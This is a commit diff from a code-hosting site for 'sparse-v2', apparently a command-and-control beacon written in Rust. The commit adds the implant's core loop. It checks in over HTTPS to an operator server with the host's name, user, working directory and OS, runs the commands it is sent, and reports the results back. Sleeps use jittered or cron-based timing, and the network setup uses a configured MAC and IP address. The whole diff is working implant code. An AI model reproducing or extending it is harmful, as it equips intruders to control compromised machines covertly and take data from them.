andrew.rioux/sparse-v2
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

feat: record results of beacon callbacks

Browse Source
This commit is contained in:
Andrew Rioux
2025-02-23 22:15:17 -05:00
parent 5ed8efca94
commit 7778e9b454
20 changed files with 446 additions and 136 deletions
Download Patch File Download Diff File Expand all files Collapse all files

6
sparse-beacon/src/callback.rs
View File

@@ -22,7 +22,7 @@ use crate::tcp::{self, setup_network};
#[derive(Clone)]
pub struct ServerConnector<T>
where
T: adapter::BeaconAdapter + Clone + Send + 'static,
T: adapter::BeaconAdapter + Clone + 'static,
{
adapter: T,
parameters: Parameters,
@@ -30,7 +30,7 @@ where
impl<T> Service<Uri> for ServerConnector<T>
where
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
T: adapter::BeaconAdapter + Clone + 'static,
{
type Response = TokioIo<tcp::NetInterfaceHandle>;
type Error = error::BeaconError<T::Error>;
@@ -59,7 +59,7 @@ pub async fn obtain_https_client<T, B>(
parameters: &Parameters,
) -> Result<Client<hyper_rustls::HttpsConnector<ServerConnector<T>>, B>, error::BeaconError<T::Error>>
where
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
T: adapter::BeaconAdapter + Clone + 'static,
B: hyper::body::Body + Send,
<B as hyper::body::Body>::Data: Send,
{

212
sparse-beacon/src/lib.rs
View File

@@ -1,9 +1,13 @@
use sparse_actions::payload_types::Parameters;
use std::{str::FromStr, time::{Duration, Instant}};
use cron::Schedule;
use http::Response;
use http_body_util::{BodyExt, Full};
use hyper::{Request, Method};
use hyper::{body::Incoming, Method, Request};
use rand::Rng;
use sparse_actions::{adapter, error::BeaconError, messages};
use sparse_actions::payload_types::Parameters;
use sparse_actions::{actions::Action, adapter, error::BeaconError, messages};
mod callback;
mod socket;
@@ -18,15 +22,14 @@ pub fn install_rustls() {
let _ = rustls::crypto::ring::default_provider().install_default();
}
pub async fn make_request<A, Req, Resp>(
async fn make_request_inner<A, Req>(
client: &callback::SClient<A, Full<bytes::Bytes>>,
uri: hyper::Uri,
req_body: Req
) -> Result<Resp, BeaconError<A::Error>>
) -> Result<Response<Incoming>, BeaconError<A::Error>>
where
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
Req: serde::Serialize + Clone + Send + Sync + 'static,
Resp: for<'a> serde::Deserialize<'a> + Clone + Send + Sync + 'static,
A: adapter::BeaconAdapter + Clone + 'static,
Req: serde::Serialize + Clone + Send + Sync + 'static
{
let mut body_buf = Vec::new();
req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?;
@@ -40,12 +43,47 @@ where
let resp = client.request(req).await?;
if !resp.status().is_success() {
return Err(BeaconError::SparseServerHttpError(resp.status()));
let status = resp.status().clone();
if cfg!(debug_assertions) {
let body = resp.into_body();
let body = body.collect().await?;
dbg!(body);
}
return Err(BeaconError::SparseServerHttpError(status));
}
Ok(resp)
}
pub async fn make_bodiless_request<A, Req>(
client: &callback::SClient<A, Full<bytes::Bytes>>,
uri: hyper::Uri,
req_body: Req
) -> Result<(), BeaconError<A::Error>>
where
A: adapter::BeaconAdapter + Clone + 'static,
Req: serde::Serialize + Clone + Send + Sync + 'static
{
make_request_inner(client, uri, req_body).await?;
Ok(())
}
pub async fn make_request<A, Req, Resp>(
client: &callback::SClient<A, Full<bytes::Bytes>>,
uri: hyper::Uri,
req_body: Req
) -> Result<Resp, BeaconError<A::Error>>
where
A: adapter::BeaconAdapter + Clone + 'static,
Req: serde::Serialize + Clone + Send + Sync + 'static,
Resp: for<'a> serde::Deserialize<'a> + Clone + Send + Sync + 'static,
{
let resp = make_request_inner(client, uri, req_body).await?;
let body = resp.into_body();
let body = body.collect().await?;
rmp_serde::from_slice(&body.to_bytes()).map_err(Into::into)
}
@@ -54,52 +92,126 @@ pub async fn run_beacon_step<A>(
params: Parameters,
) -> Result<(), BeaconError<A::Error>>
where
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
A: adapter::BeaconAdapter + Clone + 'static,
{
let hostname = host_adapter.get_hostname().await.unwrap_or("(unknown)".to_string());
let userent = host_adapter.get_username().await.unwrap_or("(unknown)".to_string());
let _config: messages::BeaconConfig = {
let client = callback::obtain_https_client(&host_adapter, &params).await?;
make_request(
&client,
format!("https://{}/checkin", params::domain_name::<A>(&params)?).parse()?,
messages::RegisterBeacon {
beacon_id: std::str::from_utf8(&params.beacon_identifier)?.to_owned(),
template_id: params.template_id,
cwd: std::env::current_dir()?,
operating_system: A::OPERATING_SYSTEM.to_string(),
userent: userent.clone(),
hostname: hostname.clone()
}
).await?
};
let beacon_id = std::str::from_utf8(&params.beacon_identifier)?.to_owned();
loop {
// let client = callback::obtain_https_client(&host_adapter, &params).await?;
let runtime_config = {
let client = callback::obtain_https_client(&host_adapter, &params).await?;
//use messages::RuntimeConfig as RC;
//let target_wake_time = match &config.runtime_config {
// RC::Oneshot => { break; },
// RC::Random { interval_min, interval_max } => {},
// RC::Regular { interval } => {},
// RC::Cron { schedule, timezone } => {
let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request(
&client,
format!("https://{}/checkin", params::domain_name::<A>(&params)?).parse()?,
messages::RegisterBeacon {
beacon_id: beacon_id.clone(),
template_id: params.template_id,
cwd: std::env::current_dir()?,
operating_system: A::OPERATING_SYSTEM.to_string(),
userent: userent.clone(),
hostname: hostname.clone(),
version: sparse_actions::version::Version::new(
std::env!("CARGO_PKG_VERSION_MAJOR")
.parse()
.expect("cargo did not provide a valid pkg version major"),
std::env!("CARGO_PKG_VERSION_MINOR")
.parse()
.expect("cargo did not provide a valid pkg version minor"),
)
}
).await?;
// }
//};
for (cmd_id, action) in unfinished_actions {
let action_result = match action.execute(
&params,
&host_adapter,
&client
).await {
Ok(res) => res,
Err(e) => {
if cfg!(debug_assertions) {
eprintln!("Error running beacon command: {e:?}");
}
continue;
}
};
make_bodiless_request(
&client,
format!(
"https://{}/finish/{}/{}",
params::domain_name::<A>(&params)?,
beacon_id,
cmd_id
).parse()?,
messages::CommandInvocationResult {
result_body: action_result
}
)
.await?;
}
runtime_config
};
use messages::RuntimeConfig as RC;
let target_wake_time = match &runtime_config {
RC::Oneshot => { break Ok(()); },
RC::Random { interval_min, interval_max } => {
let mut trng = rand::rng();
let dist: f64 = trng.random();
let rand_interval =
((interval_max - interval_min) as f64 * dist) as u64
+ interval_min;
let duration = Duration::new(rand_interval, 0);
Instant::now() + duration
},
RC::Regular { interval } => {
Instant::now() + Duration::new(*interval, 0)
},
RC::Cron { schedule, timezone } => {
let sched = match Schedule::from_str(schedule) {
Ok(sched) => sched,
Err(e) => {
if cfg!(debug_assertions) {
eprintln!("Could not parse schedule expression: {e:?}");
}
break Ok(())
}
};
macro_rules! get_wait_duration {
($sched:expr, $tz:ident) => {{
let Some(dt) = sched.upcoming(chrono::$tz).next() else {
if cfg!(debug_assertions) {
eprintln!("could not get next cron invocation");
}
break Ok(());
};
let now = chrono::$tz::now();
let Ok(dur) = (dt - now).to_std() else {
if cfg!(debug_assertions) {
eprintln!("next instance of ");
}
break Ok(());
};
Instant::now() + dur
}}
}
match timezone {
messages::CronTimezone::Utc => get_wait_duration!(sched, Utc),
messages::CronTimezone::Local => get_wait_duration!(sched, Local)
}
}
};
tokio::time::sleep_until(target_wake_time.into()).await;
}
// for _ in 1..5 {
// let req = Request::builder()
// .uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
// .method()
// .body(Empty::<bytes::Bytes>::new())?;
// let resp = client.request(req).await?;
// println!("{:?} {:?}", resp.version(), resp.status());
// let body = resp.into_body();
// let body = body.collect().await;
// println!("{:?}", body);
// }
}

21
sparse-beacon/src/tcp.rs
View File

@@ -152,7 +152,7 @@ pub async fn setup_network<T>(
parameters: Parameters,
) -> Result<NetInterfaceHandle, error::BeaconError<T::Error>>
where
T: adapter::BeaconAdapter + Clone + Send + 'static,
T: adapter::BeaconAdapter + Clone + 'static,
{
let net_info = tokio::task::spawn_blocking({
let adapter = adapter.clone();
@@ -212,25 +212,26 @@ where
let default_route_if = &net_info.interfaces[default_route.interface_index];
(
default_route_if,
default_route.gateway.0,
default_route_if.mac_addr.clone(),
unsafe {
unsafe {
(
default_route_if,
default_route.gateway.0,
parameters.source_ip.use_host_networking.source_mac.clone(),
Ipv4Addr::new(
parameters.source_ip.use_host_networking.source_ip.a,
parameters.source_ip.use_host_networking.source_ip.b,
parameters.source_ip.use_host_networking.source_ip.c,
parameters.source_ip.use_host_networking.source_ip.d,
)
},
default_route.gateway.1,
)
),
default_route.gateway.1,
)
}
}
_ => panic!("Corrupted parameters present!"),
};
let go_promisc = mac_address != [0, 0, 0, 0, 0, 0];
let mac_address = Some(mac_address)
.filter(|smac| smac != &[0, 0, 0, 0, 0, 0])
.unwrap_or(interface.mac_addr);